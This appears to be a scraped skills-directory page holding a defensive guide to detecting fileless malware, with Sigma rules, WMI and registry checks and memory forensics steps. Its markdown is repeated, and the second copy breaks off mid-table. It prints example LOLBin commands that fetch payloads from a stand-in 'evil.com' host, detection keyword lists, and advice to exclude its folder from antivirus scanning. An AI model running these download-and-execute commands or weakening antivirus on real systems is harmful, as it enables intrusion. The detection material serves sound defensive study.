[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AED5ACSB4GYNDRXCJGDJST":3,"skill-same:01M6AED5ACSB4GYNDRXCJGDJST":122},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":28,"publishedAt":47,"linkOnly":48,"markdownContent":49,"markdownBody":50,"frontMatter":51,"refName":77,"commitSha":78,"skillDirectory":79,"forksCount":80,"repositoryHtmlUrl":81,"repositoryHomepageUrl":82,"ownerHtmlUrl":83,"ownerBlogUrl":84,"ownerDescription":85,"updatedAt":86,"install":87,"resources":100},"01M6AED5ACSB4GYNDRXCJGDJST","detecting-fileless-malware-techniques",null,"Detects and analyzes fileless malware that operates entirely in memory using PowerShell, WMI, .NET reflection, registry-resident payloads, and living-off-the-land binaries (LOLBins) without writing traditional executable files to disk. Use for requests involving fileless threat detection, in-memory malware investigation, LOLBin abuse analysis, or WMI persistence examination.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",35925,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fdetecting-fileless-malware-techniques\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":26,"taxonomyTypeDesc":27},"01JBSEEDCAT000000000000036","内容创作者","PROFESSION","适用职业",[29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],"detecting fileless malware techniques","malware","persistence","memory-analysis","LOLBins","fileless","detection","powershell","malware-analysis","writing","file","metadata","content","land","validation","registry","cybersecurity","memory","2026-11-10 10:12:30",false,"---\nname: detecting-fileless-malware-techniques\ndescription: 'Detects and analyzes fileless malware that operates entirely in memory\n  using PowerShell, WMI, .NET reflection, registry-resident payloads, and living-off-the-land\n  binaries (LOLBins) without writing traditional executable files to disk. Use for\n  requests involving fileless threat detection, in-memory malware investigation,\n  LOLBin abuse analysis, or WMI persistence examination.\n\n  '\ndomain: cybersecurity\nsubdomain: malware-analysis\ntags:\n- malware\n- fileless\n- LOLBins\n- memory-analysis\n- detection\nversion: 1.0.0\nauthor: mahipal\nlicense: Apache-2.0\nd3fend_techniques:\n- Executable Denylisting\n- Execution Isolation\n- File Metadata Consistency Validation\n- Content Format Conversion\n- File Content Analysis\nnist_csf:\n- DE.AE-02\n- RS.AN-03\n- ID.RA-01\n- DE.CM-01\nmitre_attack:\n- T1027\n- T1055\n- T1059\n- T1112\n- T1140\n- T1218\n- T1497\n- T1546\n- T1547\n---\n\n# Detecting Fileless Malware Techniques\n\n## When to Use\n\n- EDR alerts indicate suspicious behavior from trusted system binaries (PowerShell, mshta, wmic, regsvr32)\n- Investigating attacks that leave no traditional malware files on disk\n- Analyzing WMI event subscriptions, registry-stored payloads, or scheduled task abuse for persistence\n- Building detection rules for LOLBin (Living Off the Land Binary) abuse in enterprise environments\n- Memory forensics reveals malicious code but no corresponding files exist on the filesystem\n\n**Do not use** for traditional file-based malware; standard static and dynamic analysis methods are more appropriate for disk-resident malware.\n\n## Windows Defender \u002F Antivirus False Positive\n\nSome endpoint antivirus products — notably **Windows Defender** (signature `Trojan:script\u002FWacatac.H!ml`) — may quarantine this skill's `SKILL.md` as malicious. This is a **known false positive**: the file intentionally documents fileless attack patterns (LOLBins, encoded PowerShell, memory YARA indicators) for defensive detection and investigation. The content is educational only; it does not execute code.\n\n**If quarantined:** restore the file from quarantine, add an exclusion for your local agent skills directory, and see [GitHub issue #100](https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fissues\u002F100) for discussion. YARA strings live in `references\u002Fyara-fileless-powershell.yar` (not inline in this file) to reduce scanner triggers while preserving the rule for analysts.\n\n## Prerequisites\n\n- Sysmon installed and configured with comprehensive logging (process creation, WMI events, registry changes)\n- PowerShell Script Block Logging and Module Logging enabled\n- Volatility 3 for memory forensics of fileless malware artifacts\n- Process Monitor (ProcMon) for real-time system activity monitoring\n- Windows Event Log access with adequate retention policies\n- Autoruns for identifying persistence mechanisms\n\n## Workflow\n\n### Step 1: Identify LOLBin Usage\n\nDetect abuse of legitimate Windows binaries for malicious purposes:\n\n```\nCommonly Abused LOLBins and Detection Patterns:\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\nmshta.exe:\n  Abuse: Execute HTA files with embedded VBScript\u002FJScript\n  Example: mshta http:\u002F\u002Fevil.com\u002Fpayload.hta\n  Example: mshta vbscript:Execute(\"CreateObject(\"\"WScript.Shell\"\").Run \"\"powershell -enc ...\"\"\")\n  Detect: mshta.exe with URL argument or vbscript: prefix\n\nregsvr32.exe:\n  Abuse: Load scriptlets via COM (.sct files) - \"Squiblydoo\"\n  Example: regsvr32 \u002Fs \u002Fn \u002Fu \u002Fi:http:\u002F\u002Fevil.com\u002Fpayload.sct scrobj.dll\n  Detect: regsvr32.exe with \u002Fi: URL parameter\n\ncertutil.exe:\n  Abuse: Download files, decode Base64\n  Example: certutil -urlcache -split -f http:\u002F\u002Fevil.com\u002Fpayload.exe\n  Example: certutil -decode encoded.txt payload.exe\n  Detect: certutil.exe with -urlcache or -decode arguments\n\nrundll32.exe:\n  Abuse: Execute DLL functions, JavaScript\n  Example: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication\";...\n  Detect: rundll32.exe with javascript: argument\n\nwmic.exe:\n  Abuse: Execute code via XSL stylesheets\n  Example: wmic process get brief \u002Fformat:\"http:\u002F\u002Fevil.com\u002Fpayload.xsl\"\n  Detect: wmic.exe with \u002Fformat: URL parameter\n\nbitsadmin.exe:\n  Abuse: Download files via BITS\n  Example: bitsadmin \u002Ftransfer job http:\u002F\u002Fevil.com\u002Fpayload.exe C:\\Temp\\p.exe\n  Detect: bitsadmin.exe with \u002Ftransfer or \u002Faddfile to external URL\n\ncmstp.exe:\n  Abuse: Execute commands via INF file\n  Example: cmstp.exe \u002Fni \u002Fs payload.inf\n  Detect: cmstp.exe execution from non-standard locations\n```\n\n### Step 2: Detect WMI-Based Persistence\n\nAnalyze WMI event subscriptions used for fileless persistence:\n\n```bash\n# List WMI event subscriptions (filters, consumers, bindings)\nwmic \u002Fnamespace:\"\\\\root\\subscription\" path __EventFilter get Name,Query \u002Fformat:list\nwmic \u002Fnamespace:\"\\\\root\\subscription\" path CommandLineEventConsumer get Name,CommandLineTemplate \u002Fformat:list\nwmic \u002Fnamespace:\"\\\\root\\subscription\" path ActiveScriptEventConsumer get Name,ScriptText \u002Fformat:list\nwmic \u002Fnamespace:\"\\\\root\\subscription\" path __FilterToConsumerBinding get Filter,Consumer \u002Fformat:list\n\n# PowerShell enumeration of WMI subscriptions\nGet-WMIObject -Namespace root\\Subscription -Class __EventFilter\nGet-WMIObject -Namespace root\\Subscription -Class CommandLineEventConsumer\nGet-WMIObject -Namespace root\\Subscription -Class ActiveScriptEventConsumer\nGet-WMIObject -Namespace root\\Subscription -Class __FilterToConsumerBinding\n```\n\n```python\n# Parse Sysmon WMI events (Event IDs 19, 20, 21)\nimport subprocess\nimport xml.etree.ElementTree as ET\n\n# WMI Event Filter creation (EID 19)\nresult = subprocess.run(\n    [\"wevtutil\", \"qe\", \"Microsoft-Windows-Sysmon\u002FOperational\",\n     \"\u002Fq:*[System[EventID=19 or EventID=20 or EventID=21]]\", \"\u002Ff:xml\", \"\u002Fc:50\"],\n    capture_output=True, text=True\n)\n\nns = {\"e\": \"http:\u002F\u002Fschemas.microsoft.com\u002Fwin\u002F2004\u002F08\u002Fevents\u002Fevent\"}\nfor event_xml in result.stdout.split(\"\u003C\u002FEvent>\"):\n    if not event_xml.strip():\n        continue\n    try:\n        root = ET.fromstring(event_xml + \"\u003C\u002FEvent>\")\n        eid = root.find(\".\u002F\u002Fe:System\u002Fe:EventID\", ns).text\n        data = {}\n        for d in root.findall(\".\u002F\u002Fe:EventData\u002Fe:Data\", ns):\n            data[d.get(\"Name\")] = d.text\n\n        if eid == \"19\":\n            print(f\"[!] WMI Filter Created: {data.get('Name')}\")\n            print(f\"    Query: {data.get('Query')}\")\n        elif eid == \"20\":\n            print(f\"[!] WMI Consumer Created: {data.get('Name')}\")\n            print(f\"    Type: {data.get('Type')}\")\n            print(f\"    Destination: {data.get('Destination')}\")\n        elif eid == \"21\":\n            print(f\"[!] WMI Binding Created\")\n            print(f\"    Consumer: {data.get('Consumer')}\")\n            print(f\"    Filter: {data.get('Filter')}\")\n    except:\n        pass\n```\n\n### Step 3: Detect Registry-Resident Payloads\n\nFind malicious code stored in the Windows Registry:\n\n```bash\n# Common registry locations for fileless payloads\nreg query \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" \u002Fs\nreg query \"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" \u002Fs\nreg query \"HKCU\\Environment\" \u002Fs\n\n# Check for PowerShell encoded commands in registry values\n# Malware stores Base64-encoded payloads in custom registry keys\nreg query \"HKCU\\Software\" \u002Fs \u002Ff \"powershell\" 2>nul\nreg query \"HKCU\\Software\" \u002Fs \u002Ff \"-enc\" 2>nul\n\n# Check for large registry values (possible stored payloads)\npython3 \u003C\u003C 'PYEOF'\nimport winreg\nimport base64\n\nsuspicious_keys = [\n    (winreg.HKEY_CURRENT_USER, r\"Software\"),\n    (winreg.HKEY_LOCAL_MACHINE, r\"Software\"),\n]\n\ndef scan_registry(hive, path, depth=0):\n    if depth > 3:\n        return\n    try:\n        key = winreg.OpenKey(hive, path)\n        i = 0\n        while True:\n            try:\n                name, value, vtype = winreg.EnumValue(key, i)\n                if isinstance(value, str) and len(value) > 500:\n                    # Check for Base64-encoded content\n                    try:\n                        decoded = base64.b64decode(value[:100])\n                        print(f\"[!] Large Base64 value: {path}\\\\{name} ({len(value)} bytes)\")\n                    except:\n                        pass\n                    # Check for PowerShell keywords\n                    if any(kw in value.lower() for kw in [\"powershell\", \"invoke\", \"iex\", \"-enc\"]):\n                        print(f\"[!] PowerShell in registry: {path}\\\\{name}\")\n                i += 1\n            except WindowsError:\n                break\n        # Recurse into subkeys\n        j = 0\n        while True:\n            try:\n                subkey = winreg.EnumKey(key, j)\n                scan_registry(hive, f\"{path}\\\\{subkey}\", depth + 1)\n                j += 1\n            except WindowsError:\n                break\n    except:\n        pass\n\nfor hive, path in suspicious_keys:\n    scan_registry(hive, path)\nPYEOF\n```\n\n### Step 4: Analyze Memory for Fileless Artifacts\n\nUse memory forensics to find in-memory-only malware:\n\n```bash\n# Process with injected code (no backing file)\nvol3 -f memory.dmp windows.malfind\n\n# Check for .NET assemblies loaded from memory (not from disk files)\nvol3 -f memory.dmp windows.vadinfo --pid 4012 | grep -i \"PAGE_EXECUTE\"\n\n# PowerShell CLR usage (indicates .NET reflection loading)\nvol3 -f memory.dmp windows.cmdline | grep -i \"powershell\"\n\n# Scan for known fileless frameworks\n# YARA rule lives in references\u002Fyara-fileless-powershell.yar (kept separate to reduce AV false positives)\nvol3 -f memory.dmp yarascan.YaraScan --yara-file \u002Fpath\u002Fto\u002Fyara-fileless-powershell.yar\n\n# Extract PowerShell command history from memory\nvol3 -f memory.dmp windows.cmdline\n# Search memory strings for common fileless indicators (encoded commands, cradles, reflection)\nstrings memory.dmp | grep -iE 'encodedcommand|downloadstring|invoke-expression|\\.reflection\\.'\n```\n\n### Step 5: Build Comprehensive Detection Rules\n\nCreate detection content for fileless techniques:\n\n```yaml\n# Sigma rule: LOLBin execution with network activity\ntitle: Suspicious LOLBin Execution with Network Arguments\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_mshta:\n        Image|endswith: '\\mshta.exe'\n        CommandLine|contains:\n            - 'http'\n            - 'vbscript:'\n            - 'javascript:'\n    selection_certutil:\n        Image|endswith: '\\certutil.exe'\n        CommandLine|contains:\n            - '-urlcache'\n            - '-decode'\n    selection_regsvr32:\n        Image|endswith: '\\regsvr32.exe'\n        CommandLine|contains: '\u002Fi:http'\n    selection_wmic:\n        Image|endswith: '\\wmic.exe'\n        CommandLine|contains: '\u002Fformat:http'\n    condition: selection_mshta or selection_certutil or selection_regsvr32 or selection_wmic\nlevel: high\n```\n\n```yaml\n# Sigma rule: WMI persistence creation\ntitle: WMI Event Subscription for Persistence\nlogsource:\n    product: windows\n    service: sysmon\ndetection:\n    selection:\n        EventID:\n            - 19  # WMI EventFilter\n            - 20  # WMI EventConsumer\n            - 21  # WMI FilterConsumerBinding\n    condition: selection\nlevel: medium\n```\n\n### Step 6: Document Fileless Attack Chain\n\nMap the complete fileless attack lifecycle:\n\n```\nTypical Fileless Attack Chain:\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━\nPhase 1 - Initial Access:\n  Email -> Macro -> mshta.exe\u002FPowerShell (LOLBin abuse)\n  OR Web exploit -> regsvr32\u002Fcertutil (scriptlet download)\n\nPhase 2 - Execution:\n  PowerShell downloads and executes script in memory\n  .NET Assembly.Load() for reflective loading\n  WMI process creation for lateral movement\n\nPhase 3 - Persistence:\n  WMI event subscription (survives reboots)\n  Registry-stored encoded payload (loaded by Run key)\n  Scheduled task executing inline PowerShell\n\nPhase 4 - Privilege Escalation:\n  PowerShell with Invoke-Mimikatz (in-memory credential theft)\n  Named pipe impersonation via WMI\n\nPhase 5 - Lateral Movement:\n  WMI remote process creation (no file transfer needed)\n  PowerShell remoting (WinRM)\n  PsExec via WMI\n\nPhase 6 - Exfiltration:\n  PowerShell HTTP POST to C2\n  DNS tunneling via Invoke-DNSExfiltration\n  Cloud storage API (OneDrive, Google Drive)\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Fileless Malware** | Malware operating entirely in memory or within legitimate system tools without creating traditional executable files on disk |\n| **LOLBins (Living Off the Land Binaries)** | Legitimate system binaries (mshta, regsvr32, certutil) abused by attackers to execute malicious code while evading application whitelisting |\n| **WMI Event Subscription** | Windows Management Instrumentation persistence mechanism using event filters, consumers, and bindings to execute code on system events |\n| **Registry-Resident Payload** | Malicious code stored as encoded data in Windows Registry values, loaded and executed by a small stub in a Run key |\n| **Reflective Loading** | Loading .NET assemblies or PE files from byte arrays in memory using Assembly.Load() without writing to disk |\n| **In-Memory Execution** | Running code directly in RAM without creating files, leveraging process injection, reflective loading, or script interpreters |\n| **Script Block Logging** | Windows PowerShell logging feature (Event ID 4104) that captures script content after deobfuscation, essential for fileless threat visibility |\n\n## Tools & Systems\n\n- **Sysmon**: System Monitor providing detailed event logging for process creation, WMI events, registry changes, and network connections\n- **Autoruns**: Sysinternals tool showing all auto-start locations including WMI subscriptions, scheduled tasks, and registry entries\n- **Volatility**: Memory forensics framework for detecting in-memory code, injected processes, and fileless malware artifacts\n- **Process Monitor**: Real-time monitoring of file system, registry, and process activity for observing fileless attack behavior\n- **LOLBAS Project**: Community-documented catalog of LOLBin abuse techniques at https:\u002F\u002Flolbas-project.github.io\u002F\n\n## Common Scenarios\n\n### Scenario: Investigating a Fileless Attack Using WMI Persistence\n\n**Context**: Sysmon alerts show WMI event subscription creation followed by periodic PowerShell execution without any corresponding malware files on disk. The attack persists across reboots.\n\n**Approach**:\n1. Query WMI namespace for event filters, consumers, and bindings to identify the persistence mechanism\n2. Extract the CommandLineEventConsumer or ActiveScriptEventConsumer payload\n3. Decode the PowerShell command (typically Base64-encoded with -enc flag)\n4. Trace the PowerShell execution in Script Block Logging (Event ID 4104) for the full deobfuscated payload\n5. Analyze memory dump for reflectively loaded assemblies and injected code\n6. Check registry for additional stored payloads referenced by the PowerShell script\n7. Map the complete attack chain from initial access through persistence and lateral movement\n\n**Pitfalls**:\n- Not having Sysmon WMI event logging enabled (Events 19\u002F20\u002F21) before the incident\n- Rebooting the system before capturing a memory dump (destroys in-memory evidence)\n- Focusing only on file-based IOCs when the attack is entirely fileless\n- Missing the initial access vector because the LOLBin execution left minimal traces\n\n## Output Format\n\n```\nFILELESS MALWARE ANALYSIS REPORT\n===================================\nIncident:         INC-2025-2847\nAttack Type:      Fileless (no malware files on disk)\n\nINITIAL ACCESS\nVector:           Phishing email with macro-enabled document\nLOLBin Chain:     WINWORD.EXE -> mshta.exe -> powershell.exe\n\nPERSISTENCE MECHANISM\nType:             WMI Event Subscription\nFilter Name:      WindowsUpdateCheck\nFilter Query:     SELECT * FROM __InstanceModificationEvent WITHIN 300\n                  WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\nConsumer:         CommandLineEventConsumer\nCommand:          powershell.exe -nop -w hidden -enc \u003CBASE64_UTF16LE_PAYLOAD>\n\nDECODED PAYLOAD\n[Layer 1] Base64 UTF-16LE decode\n[Layer 2] AMSI bypass + Assembly.Load() of embedded .NET payload\n[Layer 3] .NET RAT with C2 communication to 185.220.101[.]42\n\nREGISTRY PAYLOADS\nHKCU\\Software\\AppDataLow\\Config\\data = [Base64 encoded .NET assembly, 247KB]\nLoaded by: PowerShell WMI consumer script\n\nMEMORY ARTIFACTS\nPID 4012 (powershell.exe): Injected .NET assembly at 0x00400000\n  - CobaltStrike beacon detected via YARA\n  - C2: hxxps:\u002F\u002F185.220.101[.]42\u002Fupdates\n\nEXTRACTED IOCs\nC2 IP:            185.220.101[.]42\nWMI Filter:       WindowsUpdateCheck\nRegistry Path:    HKCU\\Software\\AppDataLow\\Config\\data\nPowerShell Flags: -nop -w hidden -enc\n\nMITRE ATT&CK\nT1059.001  PowerShell\nT1546.003  WMI Event Subscription\nT1218.005  Mshta\nT1112      Modify Registry\nT1055.012  Process Hollowing\n```\n","# Detecting Fileless Malware Techniques\n\n## When to Use\n\n- EDR alerts indicate suspicious behavior from trusted system binaries (PowerShell, mshta, wmic, regsvr32)\n- Investigating attacks that leave no traditional malware files on disk\n- Analyzing WMI event subscriptions, registry-stored payloads, or scheduled task abuse for persistence\n- Building detection rules for LOLBin (Living Off the Land Binary) abuse in enterprise environments\n- Memory forensics reveals malicious code but no corresponding files exist on the filesystem\n\n**Do not use** for traditional file-based malware; standard static and dynamic analysis methods are more appropriate for disk-resident malware.\n\n## Windows Defender \u002F Antivirus False Positive\n\nSome endpoint antivirus products — notably **Windows Defender** (signature `Trojan:script\u002FWacatac.H!ml`) — may quarantine this skill's `SKILL.md` as malicious. This is a **known false positive**: the file intentionally documents fileless attack patterns (LOLBins, encoded PowerShell, memory YARA indicators) for defensive detection and investigation. The content is educational only; it does not execute code.\n\n**If quarantined:** restore the file from quarantine, add an exclusion for your local agent skills directory, and see [GitHub issue #100](https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fissues\u002F100) for discussion. YARA strings live in `references\u002Fyara-fileless-powershell.yar` (not inline in this file) to reduce scanner triggers while preserving the rule for analysts.\n\n## Prerequisites\n\n- Sysmon installed and configured with comprehensive logging (process creation, WMI events, registry changes)\n- PowerShell Script Block Logging and Module Logging enabled\n- Volatility 3 for memory forensics of fileless malware artifacts\n- Process Monitor (ProcMon) for real-time system activity monitoring\n- Windows Event Log access with adequate retention policies\n- Autoruns for identifying persistence mechanisms\n\n## Workflow\n\n### Step 1: Identify LOLBin Usage\n\nDetect abuse of legitimate Windows binaries for malicious purposes:\n\n```\nCommonly Abused LOLBins and Detection Patterns:\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\nmshta.exe:\n  Abuse: Execute HTA files with embedded VBScript\u002FJScript\n  Example: mshta http:\u002F\u002Fevil.com\u002Fpayload.hta\n  Example: mshta vbscript:Execute(\"CreateObject(\"\"WScript.Shell\"\").Run \"\"powershell -enc ...\"\"\")\n  Detect: mshta.exe with URL argument or vbscript: prefix\n\nregsvr32.exe:\n  Abuse: Load scriptlets via COM (.sct files) - \"Squiblydoo\"\n  Example: regsvr32 \u002Fs \u002Fn \u002Fu \u002Fi:http:\u002F\u002Fevil.com\u002Fpayload.sct scrobj.dll\n  Detect: regsvr32.exe with \u002Fi: URL parameter\n\ncertutil.exe:\n  Abuse: Download files, decode Base64\n  Example: certutil -urlcache -split -f http:\u002F\u002Fevil.com\u002Fpayload.exe\n  Example: certutil -decode encoded.txt payload.exe\n  Detect: certutil.exe with -urlcache or -decode arguments\n\nrundll32.exe:\n  Abuse: Execute DLL functions, JavaScript\n  Example: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication\";...\n  Detect: rundll32.exe with javascript: argument\n\nwmic.exe:\n  Abuse: Execute code via XSL stylesheets\n  Example: wmic process get brief \u002Fformat:\"http:\u002F\u002Fevil.com\u002Fpayload.xsl\"\n  Detect: wmic.exe with \u002Fformat: URL parameter\n\nbitsadmin.exe:\n  Abuse: Download files via BITS\n  Example: bitsadmin \u002Ftransfer job http:\u002F\u002Fevil.com\u002Fpayload.exe C:\\Temp\\p.exe\n  Detect: bitsadmin.exe with \u002Ftransfer or \u002Faddfile to external URL\n\ncmstp.exe:\n  Abuse: Execute commands via INF file\n  Example: cmstp.exe \u002Fni \u002Fs payload.inf\n  Detect: cmstp.exe execution from non-standard locations\n```\n\n### Step 2: Detect WMI-Based Persistence\n\nAnalyze WMI event subscriptions used for fileless persistence:\n\n```bash\n# List WMI event subscriptions (filters, consumers, bindings)\nwmic \u002Fnamespace:\"\\\\root\\subscription\" path __EventFilter get Name,Query \u002Fformat:list\nwmic \u002Fnamespace:\"\\\\root\\subscription\" path CommandLineEventConsumer get Name,CommandLineTemplate \u002Fformat:list\nwmic \u002Fnamespace:\"\\\\root\\subscription\" path ActiveScriptEventConsumer get Name,ScriptText \u002Fformat:list\nwmic \u002Fnamespace:\"\\\\root\\subscription\" path __FilterToConsumerBinding get Filter,Consumer \u002Fformat:list\n\n# PowerShell enumeration of WMI subscriptions\nGet-WMIObject -Namespace root\\Subscription -Class __EventFilter\nGet-WMIObject -Namespace root\\Subscription -Class CommandLineEventConsumer\nGet-WMIObject -Namespace root\\Subscription -Class ActiveScriptEventConsumer\nGet-WMIObject -Namespace root\\Subscription -Class __FilterToConsumerBinding\n```\n\n```python\n# Parse Sysmon WMI events (Event IDs 19, 20, 21)\nimport subprocess\nimport xml.etree.ElementTree as ET\n\n# WMI Event Filter creation (EID 19)\nresult = subprocess.run(\n    [\"wevtutil\", \"qe\", \"Microsoft-Windows-Sysmon\u002FOperational\",\n     \"\u002Fq:*[System[EventID=19 or EventID=20 or EventID=21]]\", \"\u002Ff:xml\", \"\u002Fc:50\"],\n    capture_output=True, text=True\n)\n\nns = {\"e\": \"http:\u002F\u002Fschemas.microsoft.com\u002Fwin\u002F2004\u002F08\u002Fevents\u002Fevent\"}\nfor event_xml in result.stdout.split(\"\u003C\u002FEvent>\"):\n    if not event_xml.strip():\n        continue\n    try:\n        root = ET.fromstring(event_xml + \"\u003C\u002FEvent>\")\n        eid = root.find(\".\u002F\u002Fe:System\u002Fe:EventID\", ns).text\n        data = {}\n        for d in root.findall(\".\u002F\u002Fe:EventData\u002Fe:Data\", ns):\n            data[d.get(\"Name\")] = d.text\n\n        if eid == \"19\":\n            print(f\"[!] WMI Filter Created: {data.get('Name')}\")\n            print(f\"    Query: {data.get('Query')}\")\n        elif eid == \"20\":\n            print(f\"[!] WMI Consumer Created: {data.get('Name')}\")\n            print(f\"    Type: {data.get('Type')}\")\n            print(f\"    Destination: {data.get('Destination')}\")\n        elif eid == \"21\":\n            print(f\"[!] WMI Binding Created\")\n            print(f\"    Consumer: {data.get('Consumer')}\")\n            print(f\"    Filter: {data.get('Filter')}\")\n    except:\n        pass\n```\n\n### Step 3: Detect Registry-Resident Payloads\n\nFind malicious code stored in the Windows Registry:\n\n```bash\n# Common registry locations for fileless payloads\nreg query \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" \u002Fs\nreg query \"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" \u002Fs\nreg query \"HKCU\\Environment\" \u002Fs\n\n# Check for PowerShell encoded commands in registry values\n# Malware stores Base64-encoded payloads in custom registry keys\nreg query \"HKCU\\Software\" \u002Fs \u002Ff \"powershell\" 2>nul\nreg query \"HKCU\\Software\" \u002Fs \u002Ff \"-enc\" 2>nul\n\n# Check for large registry values (possible stored payloads)\npython3 \u003C\u003C 'PYEOF'\nimport winreg\nimport base64\n\nsuspicious_keys = [\n    (winreg.HKEY_CURRENT_USER, r\"Software\"),\n    (winreg.HKEY_LOCAL_MACHINE, r\"Software\"),\n]\n\ndef scan_registry(hive, path, depth=0):\n    if depth > 3:\n        return\n    try:\n        key = winreg.OpenKey(hive, path)\n        i = 0\n        while True:\n            try:\n                name, value, vtype = winreg.EnumValue(key, i)\n                if isinstance(value, str) and len(value) > 500:\n                    # Check for Base64-encoded content\n                    try:\n                        decoded = base64.b64decode(value[:100])\n                        print(f\"[!] Large Base64 value: {path}\\\\{name} ({len(value)} bytes)\")\n                    except:\n                        pass\n                    # Check for PowerShell keywords\n                    if any(kw in value.lower() for kw in [\"powershell\", \"invoke\", \"iex\", \"-enc\"]):\n                        print(f\"[!] PowerShell in registry: {path}\\\\{name}\")\n                i += 1\n            except WindowsError:\n                break\n        # Recurse into subkeys\n        j = 0\n        while True:\n            try:\n                subkey = winreg.EnumKey(key, j)\n                scan_registry(hive, f\"{path}\\\\{subkey}\", depth + 1)\n                j += 1\n            except WindowsError:\n                break\n    except:\n        pass\n\nfor hive, path in suspicious_keys:\n    scan_registry(hive, path)\nPYEOF\n```\n\n### Step 4: Analyze Memory for Fileless Artifacts\n\nUse memory forensics to find in-memory-only malware:\n\n```bash\n# Process with injected code (no backing file)\nvol3 -f memory.dmp windows.malfind\n\n# Check for .NET assemblies loaded from memory (not from disk files)\nvol3 -f memory.dmp windows.vadinfo --pid 4012 | grep -i \"PAGE_EXECUTE\"\n\n# PowerShell CLR usage (indicates .NET reflection loading)\nvol3 -f memory.dmp windows.cmdline | grep -i \"powershell\"\n\n# Scan for known fileless frameworks\n# YARA rule lives in references\u002Fyara-fileless-powershell.yar (kept separate to reduce AV false positives)\nvol3 -f memory.dmp yarascan.YaraScan --yara-file \u002Fpath\u002Fto\u002Fyara-fileless-powershell.yar\n\n# Extract PowerShell command history from memory\nvol3 -f memory.dmp windows.cmdline\n# Search memory strings for common fileless indicators (encoded commands, cradles, reflection)\nstrings memory.dmp | grep -iE 'encodedcommand|downloadstring|invoke-expression|\\.reflection\\.'\n```\n\n### Step 5: Build Comprehensive Detection Rules\n\nCreate detection content for fileless techniques:\n\n```yaml\n# Sigma rule: LOLBin execution with network activity\ntitle: Suspicious LOLBin Execution with Network Arguments\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_mshta:\n        Image|endswith: '\\mshta.exe'\n        CommandLine|contains:\n            - 'http'\n            - 'vbscript:'\n            - 'javascript:'\n    selection_certutil:\n        Image|endswith: '\\certutil.exe'\n        CommandLine|contains:\n            - '-urlcache'\n            - '-decode'\n    selection_regsvr32:\n        Image|endswith: '\\regsvr32.exe'\n        CommandLine|contains: '\u002Fi:http'\n    selection_wmic:\n        Image|endswith: '\\wmic.exe'\n        CommandLine|contains: '\u002Fformat:http'\n    condition: selection_mshta or selection_certutil or selection_regsvr32 or selection_wmic\nlevel: high\n```\n\n```yaml\n# Sigma rule: WMI persistence creation\ntitle: WMI Event Subscription for Persistence\nlogsource:\n    product: windows\n    service: sysmon\ndetection:\n    selection:\n        EventID:\n            - 19  # WMI EventFilter\n            - 20  # WMI EventConsumer\n            - 21  # WMI FilterConsumerBinding\n    condition: selection\nlevel: medium\n```\n\n### Step 6: Document Fileless Attack Chain\n\nMap the complete fileless attack lifecycle:\n\n```\nTypical Fileless Attack Chain:\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━\nPhase 1 - Initial Access:\n  Email -> Macro -> mshta.exe\u002FPowerShell (LOLBin abuse)\n  OR Web exploit -> regsvr32\u002Fcertutil (scriptlet download)\n\nPhase 2 - Execution:\n  PowerShell downloads and executes script in memory\n  .NET Assembly.Load() for reflective loading\n  WMI process creation for lateral movement\n\nPhase 3 - Persistence:\n  WMI event subscription (survives reboots)\n  Registry-stored encoded payload (loaded by Run key)\n  Scheduled task executing inline PowerShell\n\nPhase 4 - Privilege Escalation:\n  PowerShell with Invoke-Mimikatz (in-memory credential theft)\n  Named pipe impersonation via WMI\n\nPhase 5 - Lateral Movement:\n  WMI remote process creation (no file transfer needed)\n  PowerShell remoting (WinRM)\n  PsExec via WMI\n\nPhase 6 - Exfiltration:\n  PowerShell HTTP POST to C2\n  DNS tunneling via Invoke-DNSExfiltration\n  Cloud storage API (OneDrive, Google Drive)\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Fileless Malware** | Malware operating entirely in memory or within legitimate system tools without creating traditional executable files on disk |\n| **LOLBins (Living Off the Land Binaries)** | Legitimate system binaries (mshta, regsvr32, certutil) abused by attackers to execute malicious code while evading application whitelisting |\n| **WMI Event Subscription** | Windows Management Instrumentation persistence mechanism using event filters, consumers, and bindings to execute code on system events |\n| **Registry-Resident Payload** | Malicious code stored as encoded data in Windows Registry values, loaded and executed by a small stub in a Run key |\n| **Reflective Loading** | Loading .NET assemblies or PE files from byte arrays in memory using Assembly.Load() without writing to disk |\n| **In-Memory Execution** | Running code directly in RAM without creating files, leveraging process injection, reflective loading, or script interpreters |\n| **Script Block 